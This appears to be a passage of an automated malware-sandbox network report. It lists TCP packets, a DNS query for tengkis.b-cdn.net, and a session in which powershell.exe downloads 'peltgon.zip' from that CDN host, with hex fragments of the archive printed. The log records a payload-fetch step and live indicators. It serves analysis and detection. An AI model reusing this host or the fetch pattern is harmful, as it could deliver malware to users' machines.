Sep 8, 2024 09:53:48.408814907 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.408833981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.408869982 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.408874989 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.408902884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.408936977 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.409748077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.409763098 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.409804106 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.409810066 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.409887075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.411050081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.411068916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.411097050 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.411102057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.411124945 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.411138058 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.412558079 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.412570953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.412637949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.412642956 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.412676096 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.413084030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.413100004 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.413146973 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.413151979 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.413183928 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.413366079 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.413379908 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.413424015 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.413429976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.413479090 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.416750908 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.416764021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.416814089 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.416820049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.416858912 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.495389938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.495405912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.495469093 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.495480061 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.495529890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.496010065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.496023893 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.496078014 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.496083975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.496120930 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.496634007 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.496646881 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.496690989 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.496695995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.496728897 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.498502970 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.498517990 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.498572111 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.498578072 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.498617887 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.499655008 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.499675989 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.499706030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.499711037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.499741077 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.500500917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.500514984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.500556946 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.500561953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.500601053 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.500900984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.500915051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.500958920 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.500962973 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.500994921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.503824949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.503839016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.503901005 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.503906012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.504060984 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.582212925 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.582227945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.582278967 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.582288027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.582333088 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.582946062 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.582959890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.583004951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.583009958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.583082914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.583439112 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.583455086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.583689928 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.583689928 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.583698988 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.583739042 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.585361004 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.585375071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.585428953 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.585434914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.585483074 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.586781979 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.586795092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.586841106 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.586846113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.586880922 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.604717016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.604731083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.604774952 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.604780912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.604813099 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.604867935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.604885101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.604929924 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.604934931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.604969978 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.605179071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.605191946 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.605238914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.605245113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.605293989 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.668946028 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.668968916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.669029951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.669039011 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.669078112 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.670063019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.670084000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.670130968 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.670136929 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.670161963 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.670537949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.670552969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.670593977 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.670599937 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.670649052 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.672030926 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.672049999 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.672099113 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.672103882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.672391891 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.673379898 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.673396111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.673434973 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.673440933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.673469067 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.674355030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.674375057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.674420118 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.674424887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.674468040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.691437006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.691462040 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.691515923 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.691524982 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.691565037 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.692256927 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.692270994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.692301035 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.692311049 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.692317009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.692359924 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.692365885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.692385912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:48.692419052 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:48.700252056 CEST	49710	443	192.168.2.6	185.93.1.250

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 8, 2024 09:53:31.453883886 CEST	49988	53	192.168.2.6	1.1.1.1
Sep 8, 2024 09:53:31.462807894 CEST	53	49988	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 8, 2024 09:53:31.453883886 CEST	192.168.2.6	1.1.1.1	0xbeff	Standard query (0)	tengkis.b-cdn.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 8, 2024 09:53:31.462807894 CEST	1.1.1.1	192.168.2.6	0xbeff	No error (0)	tengkis.b-cdn.net		185.93.1.250	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

tengkis.b-cdn.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	185.93.1.250	443	6232	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-08 07:53:32 UTC	78	OUT	GET /peltgon.zip HTTP/1.1 Host: tengkis.b-cdn.net Connection: Keep-Alive
2024-09-08 07:53:32 UTC	629	IN	HTTP/1.1 200 OK Date: Sun, 08 Sep 2024 07:53:32 GMT Content-Type: application/zip Content-Length: 24154364 Connection: close Server: BunnyCDN-IL1-941 CDN-PullZone: 2503916 CDN-Uid: 3657e97c-50fc-45cf-bdbc-979c3e873a54 CDN-RequestCountryCode: US Cache-Control: public, max-age=2592000 Last-Modified: Sat, 07 Sep 2024 07:52:39 GMT CDN-StorageServer: NY-427 CDN-FileServer: 622 CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 206 CDN-CachedAt: 09/07/2024 09:24:41 CDN-EdgeStorageId: 940 CDN-Status: 200 CDN-RequestId: 419fb854aaf3b68dc9b88c1310f555a1 CDN-Cache: HIT Accept-Ranges: bytes
2024-09-08 07:53:32 UTC	16384	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 1b 5b 26 59 e7 be 28 a0 63 61 00 00 99 b1 00 00 04 00 00 00 66 66 6a 71 1c d5 45 b6 ea 08 00 04 d0 bb 35 24 b8 85 40 b0 a0 0f 0b c1 9d dd f7 e9 3f af 41 dd 49 95 43 e3 b4 43 d4 d4 1a a5 60 cb d0 23 ef e4 14 98 ed df 5c cd 54 3a 18 a0 09 b1 cf 06 68 eb 74 95 a7 d3 69 57 f2 03 27 4b 0a 3a 05 26 aa 97 fb 9b f3 85 47 c8 32 f5 d7 cd 9d 41 d7 b9 d6 7c 11 e9 91 77 69 38 8f 4b f7 da 94 44 2f 68 b7 40 8c 54 e3 0f 96 02 d8 87 40 0e a0 33 64 ca bd bb 9f fe 6e cc 07 14 30 68 67 80 fd 0d 70 b1 c4 f1 85 5b f7 76 5c a7 43 ab 95 f5 dd 1f 65 97 8e d3 05 0d 58 ec 98 6a ff cb ff 69 e9 43 3a 62 f9 e7 a9 d8 df eb 66 97 49 9a 13 d0 74 72 f1 39 e8 b5 d7 77 74 43 54 39 d2 00 24 d6 6e c1 a0 82 d7 9c 20 ab 1d 61 81 37 a9 47 59 e3 00 cf a7 e1 97 93 58 Data Ascii: PK[&Y(caffjqE5$@?AICC`#\T:htiW'K:&G2A\|wi8KD/h@T@3dn0hgp[v\CeXjiC:bfItr9wtCT9$n a7GYX
2024-09-08 07:53:32 UTC	16384	IN	Data Raw: 47 da 8f 3f 4a cb a7 03 2c f4 ea 4b 88 d4 eb 7a 27 48 d1 85 e8 25 c2 88 5e 16 cc db 32 2c cc cd 9b da 6e bc 1a c3 70 09 00 d5 7a 29 3c 61 32 f8 d8 53 20 b9 d1 9a 9f 79 9d 04 4e db 16 e3 8c 82 3e 91 41 09 cc 8e e4 86 bf 57 c5 47 67 2d 60 8e 84 18 c9 d6 50 c6 c2 fd 83 ef 64 f2 7d f0 59 ad 2b d7 1f e9 e0 ce 77 f9 d2 f1 8e 1c 0c 20 cd 27 72 97 9d 32 1b 78 e0 4d 1a 1e f1 41 70 34 d0 23 ff d3 14 10 a3 68 68 d2 17 99 2d 1d a6 8a 59 9d 94 96 b1 00 83 f0 a1 f3 45 22 a0 52 0c 5b 3a 5b 4c f5 65 a6 9a db f8 40 24 ba ed 58 51 ee 50 f2 dc a7 cd 7b 6e cd b5 8e c8 d8 e6 8c 72 ee 27 19 fa c1 f5 cc 4e 8a 22 bf 3d b5 9f 9c 06 4c df 3c 88 ca e4 5f 86 3a c3 3e 06 2e b2 cd e4 00 65 df 38 6d 42 4b 5c f0 7b d8 05 a7 83 58 03 e9 df 2e 3d 34 c7 cf e9 ad dc 05 93 25 c6 ba d2 4d 13 Data Ascii: G?J,Kz'H%^2,npz)<a2S yN>AWGg-`Pd}Y+w 'r2xMAp4#hh-YE"R[:[Le@$XQP{nr'N"=L<_:>.e8mBK\{X.=4%M
2024-09-08 07:53:32 UTC	16384	IN	Data Raw: f7 df 2d 4d 4e 6c 4a 2f f8 76 7f 4e fb 69 ba ba 0b c4 4a f0 4d 5f f9 be 0c de 48 76 87 26 76 7f 54 60 35 0b 6a 77 03 f0 a4 47 3e 07 a8 c7 23 01 fb 4e 03 13 bf 53 f9 9b ad c7 e3 81 21 d3 fa de 7f fd d7 55 d6 b9 c3 7b 33 4c 11 51 48 de 54 35 0f 30 62 4f 33 c1 e8 b7 eb 6b a1 4e 22 4e f2 97 be 62 50 e7 7f a4 dc 72 02 b6 f9 a4 16 32 ca 43 07 12 8d 33 0e cc 7b 98 d6 a3 0d 29 67 5c 57 34 d8 31 b4 c7 7b df 0b 66 5b e6 30 7a f3 fd b2 93 e7 76 c1 f6 6f d9 8f 62 f5 06 c1 c2 70 e3 71 1b 3b e9 82 d7 47 26 ae d6 32 a1 55 48 d0 b4 e3 d2 53 55 95 59 03 28 5d a5 3a 66 53 3c 45 da 3a d2 2d b9 85 68 b6 d5 22 4d 0a 2e ad 2a 6c d6 7a b1 9f 23 75 f1 91 69 fb a0 5d 27 de 56 60 78 1b d3 f2 33 03 13 76 a4 44 dc 98 f1 d7 b1 5b 70 f9 c6 4e 3c 34 c9 9d 83 1b 4d ff 47 82 5f 23 89 d7 Data Ascii: -MNlJ/vNiJM_Hv&vT`5jwG>#NS!U{3LQHT50bO3kN"NbPr2C3{)g\W41{f[0zvobpq;G&2UHSUY(]:fS<E:-h"M.*lz#ui]'V`x3vD[pN<4MG_#
2024-09-08 07:53:32 UTC	15529	IN	Data Raw: b9 61 11 e7 66 5b e6 de e4 63 4a ce 47 53 c0 b3 a4 b0 7a a2 80 d5 38 43 e0 87 85 d0 ef 5b 3d cf 6d ab cf 4a fe 16 7b 4d 88 c9 f3 71 6e 60 87 b3 81 f2 fa 2e 9e c4 7b 51 1b f4 b7 3a b2 76 7d 82 65 9e d7 4b 25 52 8e 0e cb bd 9a 15 8c 6a 0a f3 e1 da 13 55 13 d5 31 2a 65 96 e1 56 47 f6 10 8b 60 bf 4e ea d2 8b c5 6e 8b 4f 7d ed cd 46 03 22 64 49 c3 bc db 3a f3 85 db d3 f5 cc 6f f8 5e 5b af 5b 11 50 94 c2 bf 62 ef 4c a6 1b ca 22 4b c3 f5 43 32 85 7a 01 e9 30 3d ec ee 82 91 21 98 da c3 ab 8e e1 3e ba 4d 34 1a 2b d7 61 86 4c fc 65 3c d6 9a 0b 43 a1 09 b3 5e fb 8c 67 b7 89 87 cb 6f 7d 35 71 6b 41 98 7f db 4e cd 6f 68 4b e7 be 17 55 53 13 17 5a 62 c3 d3 72 1a 55 cf bb 96 8c f0 bb 8a d3 a9 25 61 23 25 6e 30 f0 4f 53 2b 8a b7 86 0c 95 2c 86 67 9c 16 96 8c 25 74 49 f3 Data Ascii: af[cJGSz8C[=mJ{Mqn`.{Q:v}eK%RjU1*eVG`NnO}F"dI:o^[[PbL"KC2z0=!>M4+aLe<C^go}5qkANohKUSZbrU%a#%n0OS+,g%tI
2024-09-08 07:53:32 UTC	16384	IN	Data Raw: e9 5c a7 63 04 17 e8 8f 34 45 9a 39 37 38 63 72 88 9b 69 5e 62 81 df 52 97 f6 54 e8 c1 c2 72 eb 1c 13 a8 5f a7 6b a3 07 6c b9 52 81 05 93 ad b0 12 98 ff d0 62 36 12 ce c4 51 f3 e6 d2 ab 50 df f6 bf b4 cb a1 d3 04 1c fa 86 57 54 41 1f 20 e3 91 de 81 b4 dc de 34 1a ef 87 18 4d 47 cb d8 93 60 42 73 18 95 bb dc 85 d7 29 2a ff 53 7e 61 74 26 4e 86 be d5 8e 97 a4 75 54 4f 82 2c e8 6c 90 a1 f1 5c d5 31 45 70 4a e2 70 3b ec 2a 00 9f f0 48 17 53 99 22 b8 cb cc 24 f8 c3 ec 09 47 2b 64 48 6d d2 47 7c 3b 04 fa ac ba 72 3d c5 7e fb 48 74 c9 6f e9 f4 b7 ab 8c 88 3a 2b 9c 81 f3 0c ab 8f a3 fe f8 c3 77 63 e3 6c de a5 ab fb a1 9a ec 2c 9e 5a e7 30 de 22 88 d9 fd 9d 28 a6 db d4 e6 a8 c9 5e 32 5b 57 c8 30 0a cd e3 f3 bc cb 5e 89 95 97 23 58 39 97 10 ff 3b ea e2 38 ad 59 67 Data Ascii: \c4E978cri^bRTr_klRb6QPWTA 4MG`Bs)S~at&NuTO,l\1EpJp;HS"$G+dHmG\|;r=~Hto:+wcl,Z0"(^2[W0^#X9;8Yg
2024-09-08 07:53:32 UTC	16384	IN	Data Raw: 3d e4 49 91 dd b3 b0 9e 50 52 61 6d a8 85 ab bd f0 bd 40 0e 37 17 57 86 63 2d 2b f7 82 ac 42 f6 18 81 02 34 47 e2 f8 5d 18 8e 50 56 ac c2 a3 40 5b 0e 3c 63 8a 10 8c 89 8a 4d ca 7c 14 e8 59 5b 10 20 c0 96 86 21 ad 7b 2f 9f 53 25 9f 06 92 a6 df dc 44 42 d4 95 1a aa a1 82 9e 4c 8b e1 8b 6c 76 2b 74 61 9c 4a 12 01 e4 24 ad 40 ca e2 e5 12 51 c4 20 b5 18 f4 0a d1 a6 44 1f bf 3d 90 c2 85 50 d3 ad bf eb ef 35 2e bb 80 3c 8f c7 62 ab 6a e2 45 f8 49 48 9e dc 75 66 e5 bb 09 c0 2c 61 3f 7d 13 aa 59 cf 17 a5 30 b6 0b ea d3 32 78 5b 20 49 f2 29 a2 5a 60 24 75 1d bf b8 86 6b d5 15 00 7c fe 54 be 70 58 cc b8 15 e8 8b e4 a2 58 ba f3 1c fa eb d2 10 8f 8b 82 c0 c3 b7 73 0d 77 12 ec 25 69 e0 bd f7 66 1b 1c b6 02 79 c4 e6 62 69 e3 20 c3 4d 7d a2 55 b2 81 0f 20 ba 50 c3 ae 30 Data Ascii: =IPRam@7Wc-+B4G]PV@[<cM\|Y[ !{/S%DBLlv+taJ$@Q D=P5.<bjEIHuf,a?}Y02x[ I)Z`$uk\|TpXXsw%ifybi M}U P0
2024-09-08 07:53:32 UTC	16384	IN	Data Raw: d9 89 ba 7c f4 4e 5f ba c4 db d3 f1 30 e4 59 85 ce f2 8d 57 83 7a db 46 62 6f 4a 6b 13 5d de 2c 77 28 0d e3 5c 46 43 e5 20 2b 31 09 df 0f 35 c4 32 99 11 a0 2f 52 03 de 04 05 06 5c a6 83 b3 73 be 2e 9b f6 05 6a aa e7 5b d9 0a ad fd d2 ac bc 22 b4 a3 66 3f 5a 9a 9f e7 96 09 76 c7 5a 7a a0 e9 d3 8f f0 4c 96 bc 8f 47 4b c9 07 b9 38 69 6a 35 1d 5e 92 95 57 12 e6 11 83 47 3d 96 c5 5c 04 bb f7 67 90 21 2d a4 a0 6d ff 4d 9a 1c 86 8f ec 03 da 5e 1f 3f d4 3a 13 5c 37 f3 0a 82 a0 0d 87 22 bd e9 bf 2c b5 46 78 41 29 5b 66 75 ff f0 12 9b 74 7b 93 ac 4c 69 a1 b2 67 33 6a 0d 70 5f 24 aa f0 1b 03 f4 1e 3e a7 85 97 19 dd 7f a2 df 1b de bd 96 fe 08 8f dc d1 1c 60 5f 38 10 8e 5e a3 b0 6e 7b 50 3e 07 40 2a bb 61 39 05 cc b3 38 fa fa 84 0c 77 36 e4 6a 47 b9 a0 28 15 d9 cc 75 Data Ascii: \|N_0YWzFboJk],w(\FC +152/R\s.j["f?ZvZzLGK8ij5^WG=\g!-mM^?:\7",FxA)[fut{Lig3jp_$>`_8^n{P>@*a98w6jG(u
2024-09-08 07:53:32 UTC	16384	IN	Data Raw: f3 cc da fd 36 76 55 e3 d9 7f f6 67 60 91 12 b9 e9 e0 a9 0c f9 53 5b c0 26 ca 0e 87 b4 15 82 6b 46 7b 33 2e 68 44 02 61 8e 4b a4 1b 32 32 bc e0 03 5f 90 14 70 a2 cc d9 62 58 ed 7c 11 b0 7d 50 17 76 1c 67 a4 fe 61 41 59 60 f6 d3 4a 54 6a 34 52 7f e7 c5 d1 30 28 5b 18 72 9d 5c 01 7c a1 30 98 ed e4 44 fa 92 eb 2b c3 ea 6d 0f 9e 81 a6 24 d4 a6 02 ec b8 ef d4 b0 e2 e9 b1 1b 6a b3 98 12 bf e4 5b df 14 0b f2 f2 1c 9e 42 8a 6d 2a 03 3b 33 a6 52 4d 8d 9a 57 83 b9 73 7e 5c 6a 1c e5 ba 5d bc 67 f2 61 ee d4 a7 3a 39 43 2b c7 d6 6e 83 d6 ec 0f 58 df 96 30 6e 8c bb db 36 e7 e9 1b e2 e6 1a c1 93 3d cc 1f 02 f6 5c 58 18 ee eb 63 6e 25 79 90 dc 4e 93 e5 68 bc 98 31 80 0d 7e f1 81 c7 9d f5 3d 52 b7 6b 29 93 37 1d bf 37 c2 d1 37 63 b8 f4 3a c6 3a 83 e9 25 8b 6b 2f fe 84 8a Data Ascii: 6vUg`S[&kF{3.hDaK22_pbX\|}PvgaAY`JTj4R0([r\\|0D+m$j[Bm*;3RMWs~\j]ga:9C+nX0n6=\Xcn%yNh1~=Rk)777c::%k/
2024-09-08 07:53:32 UTC	16384	IN	Data Raw: e9 d2 f9 c8 64 32 37 59 70 e3 b0 82 c7 74 4d 86 e3 cc 70 16 da 24 e5 47 90 9f 1a ca 04 39 13 f2 05 45 a9 61 ba 73 e0 10 98 4d 4c b9 c7 4c 21 e0 81 9d f3 bb ab b9 8b 04 9f c9 40 40 bf 57 d4 63 7f 17 d2 6b 79 a1 08 8f fa 4a d4 ac 45 48 69 c5 5f 62 bc ce c4 08 f7 b0 28 43 3c 29 32 cc 73 e9 a8 92 da 4c 3a b1 4c 1e f7 60 a3 56 c0 cf 40 67 40 39 d0 b7 2f 93 ab 8d 2c 0c d8 ff d8 27 b9 2c 28 fa 53 6d 6c 6e 69 32 d7 e9 87 bf 80 7f f1 4f a8 15 d6 a9 4b 04 c3 48 49 83 c8 1c f7 0b e4 8d bc 30 45 e4 bb cd c1 ac 89 32 73 ef 07 64 d6 d6 bf 82 40 7e d4 46 27 d1 e0 94 3f a0 47 71 d7 8f 02 5e 94 f4 87 ae 7e 4e 19 d4 c1 61 42 51 a5 10 6e 96 33 44 17 a3 20 b3 7d 70 da 77 e1 f1 da d2 2f 00 aa 15 